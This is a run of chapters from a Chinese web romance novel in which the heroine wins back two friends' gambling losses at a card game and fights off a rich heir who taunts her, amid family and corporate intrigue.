这章没有结束,请点击下一页继续阅读!“哟,这不是沈四小姐吗?”有几个公子哥认出来她,吊儿郎当的吹了声口哨,“这个架势可不像是走错地儿,你找你哪个哥啊?” 这四个老熟人也不知道姜梨怎么会出现在这里,陆临轻飘飘的看了刚刚说话的人一眼,“姜二小姐什么时候成了沈家人?不会说话就把嘴巴捐了,没有脑子就去把头砍了,重新投胎长个好用的。” 沈翊把玩着酒杯,没吭声。 那人被陆临呛了一下有些恼怒,但碍于陆临的身份又不敢怼回去,气得脸红脖子粗。 姜梨没吭声,顺手把门带关上,看向被一群男人挤在中间的许雾和舒翎,又看了一眼桌上散落的牌,声音很轻,但是却有些冷,“这牌怎么打的?” “炸金花,一局一万。” 刚刚许雾说的她们输了几十万,也就是几十局,等同于一把都没赢。 也难怪,在座的人都是豪门大院里的人物,许雾和舒羽的妹妹年纪小,是普通人,怎么可能玩得过他们这群老狐狸? 除了许雾和那个女孩,在场的全是男性。 时愿并不在现场,她居然还能排出这么一出戏,怂恿这些富家公子欺负舒羽的妹妹。 好本事。 姜梨的视线移到刚刚把许雾拽回去的男人身上,她轻笑了一声,弯腰拿起旁边已经打开的红酒瓶,眼睛都不眨的全部泼到了他脸上。 一滴都没有殃及无辜。 “把你的脏手从她身上挪开。” 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第133章 演过头了 红酒猝不及防的泼到脸上,酒水洒进鼻孔被呛了一下,猩红的液体顺着下巴滴到衣服上,好不狼狈。 在座的人都安静了一瞬,当事人反应过来立马站起来指着姜梨的鼻子吼道:“姜梨!你他妈脑子有病吧?!这是在樱洲!不是在北城!没有你哥哥你算个毛啊!” 陆临刚想说话,姜梨就已经扬起手里的空瓶子朝着那人砸了过去。 男人的旁边就是沈叙,瓶子堪堪擦过他的耳朵,沈叙反应快,偏头刚好躲开,瓶子砸到了沙发后面的那堵白墙上,发出“砰”的一声巨响,玻璃碎片哗啦啦碎了一地。 沈叙眼皮重重的跳了一下,掀开眼皮恰好对上姜梨的眼睛。 冷漠、挑衅,还夹着一点病态的疯狂。 许雾和舒翎被这一下吓到了,许雾更是立刻站起来喊了姜梨一声,用眼神示意她不要激怒这群人。 姜梨像是没听见她的声音,微微扬了扬下巴,轻笑了一声:“这他妈要是在北城,脑袋都给你拧下来。” 话是说给男人听的,但是她的眼睛却一直看着沈叙,颇有一语双关的感觉。 安静了一整晚的司南泽突然开了口:“我大哥和三哥在三楼,你的爸爸在跟我们司氏谈合作,你确定还要继续对她出言不逊吗?” 姜梨心里“咯噔”一下,江淮之也在这里吗? 司氏内部动荡不安,江淮之也已经被拉了下来,有些人也就只敢在背后说两句,但是真的面对面了,他们依旧惹不起这尊大佛。 姜梨和江淮之的关系他们都听说过,再加上她和司家曾经的二小姐也关系匪浅,出了事司南赫也定然会护着她。 不管从哪个层面上看,姜梨都是他们惹不起的人。 姜梨就是看陆临和司南泽在场,她才敢这样撒泼。 男人气得胸口剧烈起伏,但也确实惹不起她,窝囊的憋了回去,重新坐回了沙发上。 沈翊咬着一根烟,漫不经心的摆弄着手机,在场所有人就只有他一个人的坐姿没个正形儿,当真是吊儿郎当的痞子。 “我并没有想惹事。”姜梨也见好就收,指了指许雾和舒翎,“只是想来接我朋友离开而已。” 许雾接收到信号,立马抓住舒翎的胳膊就要往外走,却被突然横过来的一条腿拦住了。 沈翊收起手机,慢声道:“今天就算是江淮之本人在场,他要是在赌桌上输了钱也得还。” 姜梨不动声色的看向他,沈翊这是要玩哪出? 舒翎眼眶通红,颤颤巍巍道:“我们是被你们逼着上的赌桌……” 有沈翊打头阵,其他人的胆子也跟着大了起来,“不管是不是被逼,你们输了钱是事实。” “舒小姐,你爸爸是个赌鬼,赌桌上的规矩你不会不知道吧?” “没钱还可以用别的来赔。”沈翊勾唇,眼睛上下打量着两个女生,语气轻佻,“陪我玩一晚,我可以帮你们还。” 本来今天这出戏就是沈翊挑的头,一开始沈叙还在奇怪他这个弟弟今天是抽什么风,现在了然了。 他这是风流成性的老毛病又犯了。 话一说完,在场的一些人都开始起哄。 陆临看了一眼桌上的牌,又去看姜梨的表情,出声:“沈二少当暮色是个什么地方?要玩你可以去夜店,何必这么为难三个小姑娘?三十万而已,我替她们还。” “陆四少财大气粗,这点钱确实不算什么。”沈翊抖了一下烟灰,眼尾上扬,“但是妹妹们愿不愿意欠你这个人情就说不好了。” 舒翎咬了一下唇瓣,闭了闭眼,身体一软又坐了回去,“许雾,你跟姜二小姐走吧。” 沈翊见状扯了扯唇,她的态度不言而喻,不拖累任何人。 姜梨到现在都不知道沈翊这是要干嘛,她也的确可以扭头就走,但是这群人铁了心的是要好好教训舒翎,就算是陆临和司南泽都在,他们也不会这么轻易就放了她们。 “这牌怎么玩的?”姜梨虽然不爱管闲事,但是她也干不出来把一个手无缚鸡之力的姑娘丢在这里自己跑路。 姜梨还记得舒羽上次不放心她一个人回学校去给谢铭报信的事,更没办法不管她妹妹了。 “炸金花,三张相同的叫做豹子,最大。” “同花顺、同花、对子、单张,由大到小。” “大小王怎么算?”姜梨又问。 沈翊没吭声,静静地看着她装。 “没有大小王。” 姜梨明白的点点头,答应了这场赌约。 为了公平,跟姜梨认识的四个人均不参与,当看客,包括沈翊。 一行人围着桌子坐成了一圈,姜梨坐在许雾和舒翎的中间,在他们要洗牌的时候她喊了一声,“我来洗,谁知道你们会不会做手脚?” 拿牌的男人无所谓的笑了一声,将手里的扑克牌递到了她手里。 姜梨洗牌的动作不能说生疏,简直就是连牌都没有摸过的样子,看的许雾都开始心惊起来,小声问她:“你要不要叫你哥哥来救场?不会打咱别硬上啊……” “还没开始就怕输的话还赌什么?”姜梨语气淡淡,话语间给她投去一个放心的眼神。 “姜二小姐这句话说的倒是很有气势。”刚刚要洗牌的那人对她投去一个赞赏的目光。 洗好牌,便开始发牌。 她没有像他们那样不看牌就压,跟了一轮的筹码以后,姜梨直接选择了看牌。 翻开三张牌,“啧”了一声。 其他人都在观察她的表情,通过这个来判断姜梨的牌是大是小。 不出所料,姜梨这把输了。 后面连着五把都输的彻底,舒翎和许雾慌的手都在抖。 “不是,梨妹妹。”陆临都忍不住开口,“你到底明没明白规则啊?牌小可以弃牌的。” 不管牌大牌小,姜梨都跟个愣头青一样跟着压,离谱的是她手里握着乱七八糟连不起来的三张牌她都要跟着压筹码。 姜梨表情懵然,“啊,是吗?我才知道,对不起。” 陆临:“……” 司南泽:“……” 沈翊不动声色的在桌子底下轻轻踢了她一下,提醒她演过头就不好了。 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第134章 jiang家人人均八百个心眼子 樱洲分公司的总裁办内。 简清时坐在办公桌前,眼底意味不明的看向沙发上坐着的两个人。 江淮之和时愿。 舒羽给几个人泡了咖啡,她弯腰把咖啡放在了江淮之和时愿的面前。 也不知道是有意还是无意,舒羽起身时时愿正好抬手捏住咖啡杯,她瞥到了时愿手腕上多出来的一条奢华大气的手链。 舒羽强忍想要翻白眼的冲动,维持着冷漠的表情站起来,对着江淮之微微躬了一下身,随后就往后退了几步,想要离开。 江淮之叫住她,漫不经心问:“你的伤好些了么?” “您多虑了,我并没有受伤。”舒羽停下,头一次没有正视江淮之回答她的问题,她背对着他们讥讽的扯了扯唇,“倒是时小姐从楼梯上滚下去,伤得比较重。难为你今天强忍身体的不适也要跟着四少爷来这里见江总,到底是爱他爱得死去活来,自残的事儿都做得出来。” 时愿脸色一僵,捏着咖啡杯的手微微抖了一下,本来就浅淡的唇色变得更加苍白,委屈的辩解:“我没有……” “谁管你有没有啊?”舒羽现在听到她这声音就反感,心里多少是有点怒气。 她的确只是个助理,也的确是想报答江淮之的恩情,但是不代表可以无下限的让别人抹黑,更不想成为他们虐恋play的一环。 打工人哪有不疯的? “有这闲工夫在这跟我玩这种烂得不能看的把戏,还不如好好的去洗洗你的眼睛,真搞不懂一个渣男有什么好爱的?” 说完她停顿了一下,补了一句:“你这么想要,姐姐让给你好了,反正我早就腻了。” 简清时差点没憋住笑。 就说女人要真计较起来,那是真不得了,江淮之明知道舒羽是冤枉的,还要帮着时愿打压她,简直不是人。 “咳咳。”简清时轻咳了一声,对舒羽吩咐道:“阮助理那边还有工作要你帮忙,你去处理一下。” “好的简总。”舒羽笑了笑,然后果断离开。 办公室陷入了一片诡异的安静。 过了好一会,江淮之才出声,对简清时扬了扬下巴,“你找我要说什么?” 简清时看时愿,意思非常明显,他们说的话她是不能听的。 时愿放下咖啡杯,手掌撑着沙发垫艰难的起身,“那我在外面等你。” 江淮之没有阻拦,隔着衣袖扶了她一把,声音淡淡:“谢铭在外面,他会带你去休息室。” 时愿应了一声,然后一瘸一拐的往门外走。直到门关上,简清时才彻底放松下来。 “司南衍那边,你就不管了吗?他现在可谓是风生水起,司南赫一时间也拿他没办法,再这样下去,司氏迟早被他吞了。” 江淮之轻轻摩擦着手腕内侧贴着的创可贴,轻轻笑了一下,“现在司家家主不是我,我不会去管这种闲事。你来就为了跟我说这事?” 简清时摇头,“当然不是了,我是想问问你,沈翊是怎么回事?” “嗯?”江淮之抬起眼皮看他,“他怎么了?” 拉开抽屉柜,简清时拿出来一份文件夹,站起来走到江淮之旁边,放到了桌子上。 “沈翊给樱洲分公司投了不小的资金,他要入股,但是沈叙不知道。沈翊虽然跟沈叙不是一个妈生的,但是私底下不知道帮沈叙办了多少脏事,属于是穿同一条裤子的贼人。你刚和沈叙闹掰,他现在就背着沈叙来帮我们?” “咱们最近要有大动作,他这不是反间计吧?” 反间计倒也没错,不过是用在了沈叙和沈家其他人的身上。 “除了樱洲和江城,司氏总部和其他分部都是司南衍在把控。虽然陆七已经撤资总部入股樱洲,但是陆家也不是他一个人说了算,秉承着不想承担风险,陆氏入资并不多。谢家那个合作虽然也归樱洲,但是现在依旧非常缺钱。” 江淮之看了一眼合同的内容,发现简清时和司南赫都没有签字,抬头对他道:“你不是已经决定和司南赫站在统一战线搞垮司南衍吗?沈翊都给你抛橄榄枝了,为何不接?” 简清时“啧”了一声,“我是想干一票大的,但这不是怕引狼入室,坏了你的复仇大计吗?我总得问问你的意见,到时候出事了你也赖不着我。” 江淮之莞尔,承认:“出不了事儿,沈翊是姜梨的人。” ?? 简清时懵然,怎么又跟姜梨扯上关系了? “你以为姜祈安为什么敢把姜梨一个人扔到港城不闻不问两年?沈翊的生母是港城人,他在外面的口碑又顽劣不堪,就算北城和港城来回跑也没有人怀疑他。”江淮之合上文件夹,懒散的靠在沙发背上,淡淡的说出他查到的东西,“澳城那边的地下赌场出过一场暴乱,姜梨身涉其中,是沈翊和楚卿然救的她。” 简清时听完眼睛立马一睁,整个人都不淡定的“咻”的一下站了起来,“楚卿然和沈叙不是一伙的吗?怎么又……” 说到一半,他发现江淮之用看白痴一样的眼神看着他,咬了一下后槽牙,“你他妈不会一开始就知道吧?” 江淮之点头应了一声:“楚卿然我的确知道,后来几年,港城那边的毒窝据点频频被端,就是他报的信,姜祈安帮过他,我遇到过一次。” “沈翊我一开始真不知道,是二梨在酒吧出事那次之后开始怀疑的。” 简清时消化了半天才算勉强理清楚,这才是真正的反间计。 他沉默了好久,最后得出来一个结论:“果然你们jiang家人,人均八百个心眼子,一个比一个贼啊!” “不行,我得让阮经颜离姜梨远点,免得被她带坏了………” 话音还没落,门外已经离开的舒羽却突然推门而入,一张脸上满是焦急。 一同来的还有同样着急忙慌的阮经颜。 简清时见状,敛起了笑,皱眉问:“出什么事了?” “舒翎被人弄到暮色了,现在那群人不肯放她走。”舒羽抿了抿嘴唇,眼睛直直的看向江淮之,“阿野,你能再帮我一次吗?” 时愿捂着胳膊,刚想说什么,阮经颜接着补了一句:“姜梨也在那里,她们两个现在在一块。” 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第135章 撕烂你的嘴 姜梨前几局输的一败涂地,后面像是换了个人一样,一路都在赢,牌局上的人各个都输的脸色发白。 别说是当事人了,就连他们这些看客脑子都在发懵。尤其是舒翎和许雾,看姜梨的眼神像是见了鬼。 就这么水灵灵的……反败为胜了? 这他妈确定没被人换魂吗?壳子还是那个壳子,内里的芯变了? 算着刚好多赢过来几万块,姜梨直接撂下手里的牌,目光一寸一寸的扫过所有人,扬了扬唇,“带钱了吗各位?” 大家也都是玩得起也输得起的人,各个掏出手机就给姜梨扫码转账。 看着到账的金额,姜梨嘴角的弧度简直比ak还要难压。 陆临算是看明白了,她这哪里不会玩牌?她分明就是一个玩牌的高手,在港城的时候估计没少在那边的赌场里混。 司南泽也忍不住弯了弯唇角。 她像狐狸。 姜梨最后走的时候,朝着司南泽的方向看了一眼。他们不过几天没见,但是他的身体应该好转了不少。 一向赢弱苍白的脸带了血气,对于司南泽来说勉强算得上红润。 他眼神空洞的不知道在看哪里,姜梨喊了一声:“四哥,陆临。” 她的声音脆生生的,让司南泽的手抖了一下,他的眼睛顺着声源移过去。 姜梨朝着他们笑了笑:“刚刚谢谢咯。” 说完也不等他们回答,转身离开。 许雾和舒翎跟着姜梨走到门外的时候都还有些发愣,一阵冷风吹过来,让她们稍稍清醒了一些。 舒翎抿了抿唇,看向姜梨:“那个,姜二小姐,钱我会还你的,今晚谢谢你。” 姜梨疑惑的“哈?”了一声:“那三十万本来就是那群人整你的,还什么?” “但是如果今天你不在,我还是要想办法还钱给他们……” “许雾,你这朋友以前上学的时候是不是三好学生?”姜梨没回答舒翎的话,转头去问许雾。 “你别说,还真是。”许雾点头。 “我可不要这种钱,我又不是那群黑心肝的东西……”姜梨摸出手机刚打算叫个网约车,沈翊和陆临就走了出来。 许雾和舒翎的神经立刻紧绷起来,身体不自觉的往姜梨身边靠,她们现在一看到沈翊就觉得他不安好心,是来找麻烦的。 “梨妹妹,你和你朋友是要回哪啊?我叫陆七的人送你们。” 陆七今天也在这? 姜梨“啊”了一声,晃了晃手机:“不用了,我们自己叫车回去就行了。” “大半夜的,网约车不是很安全。” 沈翊手插在裤兜里,听到陆临的话当即就笑了一声,在心里想:是有点不太安全,司机不太安全。 姜梨哪里会不知道沈翊在笑什么,眉毛一皱,看着他就骂:“你又要干嘛?欺负女人的下三滥。” 沈翊看着她们三个人,无奈的摊手,“没办法,时愿开的条件太诱人,拒绝不了啊。” 舒翎磨了磨牙齿,她早就猜到是这朵白莲花搞的鬼了。前天突然找到家里来,诬陷她姐姐推了她,现在又找人刁难自己,绿茶中的绿茶,白莲里的白莲。 沈翊敛了敛神色,微扬着下巴,颇有居高临下的挑衅意味:“我如果是欺负女人的下三滥,那江淮之就是一个朝三暮四、管不住自己女人的废物。” “时愿烂,江淮之也烂,所以两个人才会看对眼。你回家去好好劝劝你姐姐,何必继续跟着他受这样的苦?”沈翊又将目光移到姜梨身上,向前走近几步,眼帘低垂:“还有你,与其跟江淮之这样的烂货色称兄道妹,还不如重新回沈家…….” “砰!” 他话都没说完,就被姜梨一个漂亮的过肩摔撂倒在了地上。 姜梨的动作猝不及防,速度快的都没人看清楚她是怎么动的手,许雾和舒翎的眼睛瞪大,满是难以置信。 沈翊自己都懵逼了。 眼见姜梨就要去拿路边的砖块往沈翊脑袋上招呼,许雾眼疾手快的赶紧从后面拽住她,“卧槽卧槽!姜梨你冷静点!我……我和舒翎待会没钱赔啊!!” “你他妈才是烂货色!你们沈家上下都是畜生!你爸爸一连娶了三个女人就算了,还搞了自己的儿媳妇,你大哥居然也不觉得膈应,还要娶回家。还有你啊!自己妈妈都被渣男小三气死了,你自己还上赶着去他们家当一条好狗,真是有够窝囊的!” “我上次捅你那一刀你没记着是吗?你再嘴贱试试呢?你看我敢不敢撕烂你的嘴!” 姜梨的额角青筋凸起,显然是真的被气到了。许雾生怕她下一秒就要把砖块砸过去,赶紧把她手里的砖头抢过来扔到一边,死死的拉着她。 沈翊撑着冷硬的地板站起来,拍了拍灰尘,唇边勾起一抹讥讽的笑:“我们两个有什么区别吗?不都是眼睁睁的看着亲人在自己面前咽气却什么都做不了么?你的命是谁给的你忘了……嘶!” 他今天是没完了是吗? 非要故意踩在她的雷区里蹦迪,刚刚在手机上都已经跟他说过了计划继续,需要他这样来提醒她一遍吗? 姜梨一把甩开许雾,捏紧拳头就朝着沈翊的脸上招呼。 她这一下可谓是用了全力,沈翊的嘴角都被打裂开了,还真是变相的撕烂了他的嘴。 力与力的作用是相互的,沈翊疼,姜梨自然也疼,陆临挡到姜梨身前,将她和沈翊隔开,忍不住多打量了他几眼。 沈家这个老二今天事有点太多了,不正常。 沈翊随意的擦了一下嘴角的血渍,眼神注意到了开过来的两辆车,无所谓的笑了笑,然后头也不回的转身离开。 许雾看着他的背影,小声的吐槽了一句:“脑子有泡似的,神经。” 姜梨甩了甩刚刚打了沈翊一拳的手,手背红了一大片,有些疼。 她刚刚就应该一砖头砸上去。 陆临注意到了她的动作,对她说:“回去敷一下,不然会发青。” “嗯。” 此时两辆车一前一后停在了路边,最先下车的人是江淮之。 陆临见状也不好多留,留下一句:“梨妹妹,下次见。” 便转身回了暮色。 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第136章 时·劣质品·愿 来的人不止江淮之一个,简清时和阮经颜也来了,还有舒羽。 江淮之的大学是在樱大上的,论坛上有几张同学偷拍的照片,许雾也刷到过。今年的校庆她也远远的看过他一眼,今天这是第一次这么近距离的看到他。 照片上看是极品,现在这样近距离看那是极品中的极品,帅的没边了。 他们樱大出的帅哥并不少,但是跟江淮之比还是逊色不少。 哎,女娲娘娘还是偏心。 姜梨把手缩回了袖子里,阮经颜风风火火的跑过来上下打量着她们,“没事吧?” “没。”姜梨轻轻答了一句。 她的脸还有些红温,眉眼间带着点愠怒,虽然不太明显,但是江淮之还是感觉到了她的暴躁。 “不在家好好待着,乱跑什么?”他的声音算得上温和,但是说出来的话却带了点责怪。 许雾听着话茬不对,生怕姜梨会被训,也顾不得再感叹江淮之那张帅脸了,赶紧出声替她解释:“刚刚我和舒翎在暮色遇到了一点麻烦,是我打电话让她过来的,我是她大学室友。” 简清时顺势问了一句:“什么麻烦?” 姜梨看了眼舒翎,又去看舒羽和江淮之,眼神不断的在他们之间扫来扫去,最后暗戳戳的轻轻撞了一下舒翎的胳膊。 舒翎瞬间就get到了姜梨的意思。人家都已经贴脸开大了,好歹也得还一下普攻吧? 她抿了抿唇,看向舒羽,眼圈微红,“我和许雾本来约好了去逛逛的,但是后来收到了谢秘书的信息,让我给司总送文件到暮色。” “许雾就和我一起来了,但是我们没有见到司总,反而被一群富家公子哥拉到了暮色的四楼,逼我跟他们赌牌。那些人一开始说了可以让许雾离开,但是我必须留下,他们收了别人所谓的好处,但是那个好处要我来给。” 舒羽的脸色已经彻底冷了下来,立刻把在车上的谢铭叫下来,“你给舒翎发信息让她来送文件的?” ?? 谢铭懵逼,“我没有啊。” 他今天一整天都在跟舒羽和简清时待在公司里,哪里给舒翎发过什么信息? 舒翎吸了一口气,“沈家二公子说,是时愿让他们这么做的。” 舒羽气的冷笑了一下,拉开车门,不由分说的就把一直坐在车里的时愿给拽了下来,扬起手一巴掌甩到了她脸上。 “我还是头一次见到能被冷水泡开的绿茶,时小姐茶香四溢啊!前天突然找到我家来发疯,诬陷我推你导致你受伤。今天又找人欺负到我妹妹头上,你妈妈难道没教过你冤有头债有主这个道理吗?” 舒羽看着站不稳摇摇欲坠的人,目光讽刺:“哦,我忘了,你妈死了。” 阮经颜看的那是目瞪口呆,在公司相处了几天,她和舒羽在同一个办公室,她平时话并不多,看不出来战斗力居然这么强。 “我听不懂你在说什么…….”时愿也被她这一巴掌打懵了,捂着被打的火辣辣的半边脸,眼睛一眨就落下来两行泪,满是委屈和破碎。 舒羽看见她这样就觉得火大,再次扬起胳膊想要打她,却被江淮之拦住了。 姜梨也没想到时愿会在车上,江淮之今天是和她在一块,现在他这个动作,明显就是想护着时愿。 因为沈翊那番话,姜梨情绪本来就不高,现在更是冷飕飕的剜了江淮之一眼,眼神锋利的像一把刀。 江淮之顿了一下,然后对舒羽说:“先带妹妹们回去,这件事情私下解决行吗?” 舒羽哪里会不知道他说的私下解决是什么意思?无非就是让时愿不痛不痒的道个歉,这事就翻篇了。 她在还没有见到时愿的时候,脑子里自动把她想成了一个完美的女人。漂亮、善良、单纯……在她的想象里,几乎世间所有美好的形容词都可以用在时愿的身上。 江淮之何其优秀?也就只有这样的人才能让他从高中惦念到现在。 但是现在舒羽只觉得自己的眼睛像是被屎给糊住了,甚至觉得江淮之的品味原来这么低劣,喜欢喝下水道里的水。 舒羽的手心隐隐有些发麻,反正她刚刚打爽了,也懒得再去死抓着这件事情不放。 她先是用余光瞟了一眼姜梨,又上下扫视着楚楚可怜躲在江淮之身后的时愿,眼睛微微眯起,眼底划过一丝暗光,启唇:“明明长着这么像的一张脸,人家性格刚烈、才情横溢、颇为讨喜。你就只会那些低劣又下作的手段,是个劣质品。” 时愿不知道被刺激到了哪根神经,故意挤出来要落下的眼泪就这么硬生生的停在了眼眶里,看向姜梨时,表情是说不出来的僵硬难看。 “我跟许雾要回学校,阿颜,我们俩坐你们的车。”姜梨才不想被莫名其妙的扯进去,只想快点跑路,离开这个是非之地。 阮经颜“哦”了两声,和她们一起上了车。 江淮之瞥了一眼姜梨的背影,没说话。 姜梨摸出来手机,给许雾的支付宝里转了一万块钱,“支付宝转你的这笔钱你和那个谁平分吧,虽然是我赢的,但是牌是我们三个人打的,我拿大你们拿小。” 许雾不会收微信,姜梨直接用支付宝,她不收也得收,无可奈何的应了下来。 她没有刻意压低声音,简清时和阮经颜都听的清清楚楚。姜梨会赌牌这件事情阮经颜在高中的时候就已经知道了,没有什么好奇怪的,只问她赢了多少。 姜梨淡淡回答:“三万。” 许雾纠正:“严格来说的话应该是三十好几万了。他们那帮人是说一局一万,我和舒翎前面输了三十万,姜梨给扳回来了。” 驾驶位上的简清时眉心一跳,“你是说,姜梨今天在那帮富二代手里赢了三十多局?” 许雾:“差不多吧,一开始连输了好几把,我还以为要完蛋了,但是后来就没输过,那群人看炸金花炸不过姜梨,又换了好多个玩法,还是一直在输。” “姜梨今天牛死了!” 能在那群富二代的手里赢到钱,运气和实力差一点都不行,简清时下意识就问出来一句:“怎么?江淮之私底下还教过你赌牌?” 姜梨靠着椅背,回了他一句:“最开始那个炸金花小学生都会吧?至于其他的玩法,规则理一遍,只要智商不低都会玩。” 许雾:“……” 姜梨这是,在骂她吗? 许·智商低·雾。 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第137章 万事俱备,只欠东风 现在已经是深冬,夜里冷空气更为肆虐,樱大门口基本上没什么人。 许雾下车的时候姜梨没动,她半张脸藏在黑暗里有些模糊,看不清她的表情,声音带着初冬淡淡凉意:“你进去吧,我回家。” “行。”许雾没有多问,跟阮经颜和简清时道了谢,然后关上车门跑进了学校。 阮经颜试探性的问了她一句:“所以你要回秋水湾吗?” 这几天公司天天加班,事情实在太多,她还没来得急问姜梨有没有跟江淮之提离婚的事情? 现在简清时在场,她也不好直接问。 真是憋死她了。 “那不如去你那里?”姜梨手肘靠着车窗,手掌撑着脑袋看阮经颜,“体验一下,当电灯泡是什么感觉。” 阮经颜眨了眨眼,轻轻掐了她一下,“我怕你当个电灯泡都不专心,满脑子都是狗男人,所以还是送你回家吧。” 简清时立刻启动车子,往秋水湾的方向走。 临近过年,他和阮经颜的关系好不容易稳定升温,是真不想带电灯泡,更不想一个人独守空房,实在太冷。 姜梨哪里会不懂简清时的小九九?嗤笑了一声,然后跟阮经颜说:“我九号去港城。” “这么快?” 姜梨:“纪繁星是港城的禁火大使,我答应帮她拍宣传片了,得去早点。” 纪繁星在内地也算是小有名气,还是港圈大佬的未婚妻,阮经颜和简清时都知道她。 阮经颜想到姜梨和谢鹤杨那档子事,想问她还回不回来,但觉得当着简清时的面这样问有点不太好于是换了个问法:“什么时候回来?” 姜梨扭头看向车窗外,街景不断后退,途经的商铺和商场闪烁着彩色的霓虹灯,光影觥筹交错,繁华似锦。 因为楚云和姜铭生离婚,他们两个都不愿意要她,她是被法官判给姜铭生的,后来一直和他生活在北城最偏远的地方,见不到楚云,也见不到被送出国的姜祈安。 再后来他死了,姜梨就被回国的姜祈安接回了家,只有他们两个人的家。 姜祈安热衷于慈善,在疗养院接走了江淮之,又资助了林遥这个贫困生,让他们这个家又多了两个人。 江淮之是司家的孩子,回了司家。 林遥也为了救姜梨,最后惨死,眼角膜手术做完之后,姜祈安把她交给洛骞,去了国外。 好友离世,杀人凶手却依然逍遥法外,她不甘、她怨恨。 心里压着的剧烈仇恨和悲痛让她的情绪彻底崩溃,先后自杀了两次,都被拉了回来。 做完十二次的电休克让她短暂的麻木了一段时间,那时候她满脑子都只有江淮之。 想他,想见他。 所以最后她被姜祈安送去了港城,待了整整两年。 最后义无反顾的放弃了港大的保送名额,考进了樱大,去到了樱洲。 这么一想,她这一路还真是颠沛流离,狗血虐文女主一般的人生,也足够精彩。 只是这些地方,以后怕是都不能再踏足了,阮经颜和江淮之她都不能再见。 “姜梨?姜梨?!”阮经颜喊了她好几声。 “我也不确定,拍的顺利的话十六号应该能回来,看他们怎么安排。”姜梨从回忆里抽离出来,眼睛依旧看着车窗,眼里像是蒙上了一层雾一样迷茫。 十六号,是江淮之的生日。 阮经颜大概知道她跟江淮之离婚的事情没谈妥,随便扯两句打哈哈,没再说话。 …… 沈翊进去暮色之后没有第一时间回包厢,而是去了楼道。他嘴角处的血渍已经干涸,摸了一下然后倒吸了一口冷气,姜梨这一拳打得是真的好痛,感觉下颌骨都要被她给打碎了。 拿出手机,用外地的号码给时愿发去了一条匿名彩信,附带了两张照片。 再回到包厢时陆临已经入座了,刚刚火热的气氛有些凝滞,一行人都没有心思再玩下去,只能干喝酒。 沈叙抬头看到沈翊嘴角的伤口,眼神暗了暗,随口问了一句:“怎么回事?” 沈翊打着的领带已经被他扯松,原本就没什么正形的人现在更像个败类,他坐回位置上,哼笑着说:“也就是骂了江淮之两句,就惹到姜梨了。” “呵。”沈翊觉得好笑,补了一句:“时愿这个正牌女友都没她的反应大,我都要怀疑她这个养妹怕是江淮之的情妹妹了。” 其他人或许以为他这是被一个女人打了,心里有气,就忍不住想要调侃几句。 但是目睹了全过程的陆临就觉得沈翊是故意这么说的。 他在骂完了江淮之以后姜梨还是忍着的,是在提完林遥之后,姜梨才动的手。 而且沈翊今天有点太刻意了,像是故意激怒姜梨,现在又故意模糊她和江淮之的关系,说给旁人听。 沈翊这是要搞什么飞机? “那不是很正常吗?姜梨长得多漂亮啊,弹起琴跳起舞的时候更是美得不可方物,跟仙女似的,江淮之连自己爸妈都能背刺,趁姜祈安死了把姜梨这样的尤物收入囊中也不奇怪。” 沈翊弯唇:“况且,当时北城甚至是樱洲的其他人都是蠢蠢欲动,不断的给我继母抛橄榄枝,就是想要姜梨。要不是江淮之快了一步,她现在指不定还是在座的某一位的老婆呢。” 气氛重新被调动起来,众人听完沈翊的话哄堂大笑。 “啪”的一声,打火机被人滑动发出一声轻响。陆临的表情冷了下来,看着沈翊:“你是想让你的伤口两边对称吗?” 手里的打火机被滚动擦出一点火花,原本还在嬉笑的一行人立刻噤声。 陆家和司家最近虽然口碑出了问题,但是他们依旧惹不起。 沈翊挑了挑眉,“怎么?陆四少这是看上她了?想不到的我这个便宜妹妹还挺有本事,勾搭男人一套一套的。” 陆临的注意力在沈翊身上,他没有注意到司南泽越来越阴沉的脸色,沈叙看到了,眼神犀利的剜了沈翊一眼,呵斥:“沈翊,差不多行了,开玩笑也要有个度!闭嘴!” 沈翊无奈的耸耸肩,顺从的没再吭声。 反正他已经添够了柴,目的也达到了。 就看司南泽和时愿这两阵东风够不够给力了。 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第138章 替身就要有替身的样子 江淮之和时愿去了司家老宅。 上楼的时候江淮之没有去扶时愿,自顾自的快步往前走。时愿看着他的背影,咬了咬牙,只能自己扶着楼梯扶手,慢慢的往上爬。 她的一只脚踝扭伤的其实很严重,每走一步都是钻心的痛。 江淮之坐到沙发上,长腿交叠,一双凤眸平静的注视着一瘸一拐走进来的人,淡声道:“你跟沈翊说了什么?” 他的语气和神情都很平和,配上他清润的声线,让人觉得无比温柔。 但是时愿听到他的话,指尖都在微微发抖。 江淮之没有问她认不认识沈翊,而是直接问她跟沈翊说了什么,他什么都知道了,时愿不敢反驳狡辩,只能选择沉默。 沈翊前脚刚答应她,后脚就出卖她!姜梨居然也要来坏事,舒翎屁事没有,她自己反而偷鸡不成蚀把米。 舒羽这个贱人居然抬高姜梨来贬低她,说她是个拙劣的劣质品。 时愿的手捏紧拳头,指甲陷进掌心里,一口牙都要被咬碎,姜梨算个什么东西也配拿来和她比? “我其实特别好奇,司南泽到底给了你什么样的好处,能让你愿意换张脸,顶着别人的身份待在我身边。”江淮之停了几秒钟,然后缓缓喊出来一个名字:“时、鸢。” 再次从他的嘴里听到这个名字并没有让时愿觉得雀跃,涌上来的只有恐惧。几乎是感觉到了有一盆冷水浇在了她的头顶,猛地抬头看向江淮之,又惊又怕,双唇都在肉眼可见的颤抖。 她找人陷害舒羽两姐妹的事情有沈翊的口证,而且江淮之绝对不会因为一个助理的妹妹来责怪她,所以她才选择默认。 但是现在这件事情,她绝对不能承认。 “整个司家,我只认识你,我也不认识什么时鸢。”时愿一口咬死:“我是时愿。” “都到这份上了,还装你妈呢。”江淮之卸下让人想吐的伪装,嘴角泛起一抹冷笑,“江城中学出了名的小太妹在这装乖乖女,怪不得一股子茶味。” “当初那群人没插死你,所以现在来当绿茶让我的女人不痛快是吧?” “怎么着?要我帮你叫几个人过来治一治这个坏毛病?治好了就不会再闹事了,就不茶了,是这样?” 他每说出来一句话,时愿的脸就会更苍白一分,现在江淮之的模样、和说话的语气都和他十六七岁的时候没有任何差别。 几句话,将时愿拉进了痛苦不堪的回忆里,心理防线一点点崩塌,“你……你早就,早就知道了?” 